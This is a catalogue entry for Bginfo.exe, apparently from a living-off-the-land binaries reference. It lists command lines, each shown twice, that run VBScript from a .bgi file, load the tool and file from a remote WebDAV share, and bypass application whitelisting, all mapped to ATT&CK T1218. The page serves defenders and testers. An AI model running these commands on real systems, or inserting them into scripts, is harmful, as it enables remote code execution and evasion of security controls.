.. /Bginfo.exe
Star

Execute (WSH, Remote)

AWL bypass (WSH, Remote)

Background Information Utility included with SysInternals Suite

Paths:

no default

Resources:

https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/

Acknowledgements:

Oddvar Moe (@oddvarmoe)

Detections:

Execute

Execute VBscript code that is referenced within the bginfo.bgi file.
```
bginfo.exe bginfo.bgi /popup /nolicprompt
```
Use case
Local execution of VBScript

Privileges required
User

Operating systems
Windows

ATT&CK® technique
T1218
Tags
Execute: WSH
Execute bginfo.exe from a WebDAV server.
```
\\10.10.10.10\webdav\bginfo.exe bginfo.bgi /popup /nolicprompt
```
Use case
Remote execution of VBScript

Privileges required
User

Operating systems
Windows

ATT&CK® technique
T1218
Tags
Execute: WSH
This style of execution may not longer work due to patch.
```
\\live.sysinternals.com\Tools\bginfo.exe \\10.10.10.10\webdav\bginfo.bgi /popup /nolicprompt
```
Use case
Remote execution of VBScript

Privileges required
User

Operating systems
Windows

ATT&CK® technique
T1218
Tags
Execute: WSH
Execute: Remote

AWL bypass

Execute VBscript code that is referenced within the bginfo.bgi file.
```
bginfo.exe bginfo.bgi /popup /nolicprompt
```
Use case
Local execution of VBScript

Privileges required
User

Operating systems
Windows

ATT&CK® technique
T1218
Tags
Execute: WSH
Execute bginfo.exe from a WebDAV server.
```
\\10.10.10.10\webdav\bginfo.exe bginfo.bgi /popup /nolicprompt
```
Use case
Remote execution of VBScript

Privileges required
User

Operating systems
Windows

ATT&CK® technique
T1218
Tags
Execute: WSH
This style of execution may not longer work due to patch.
```
\\live.sysinternals.com\Tools\bginfo.exe \\10.10.10.10\webdav\bginfo.bgi /popup /nolicprompt
```
Use case
Remote execution of VBScript

Privileges required
User

Operating systems
Windows

ATT&CK® technique
T1218
Tags
Execute: WSH
Execute: Remote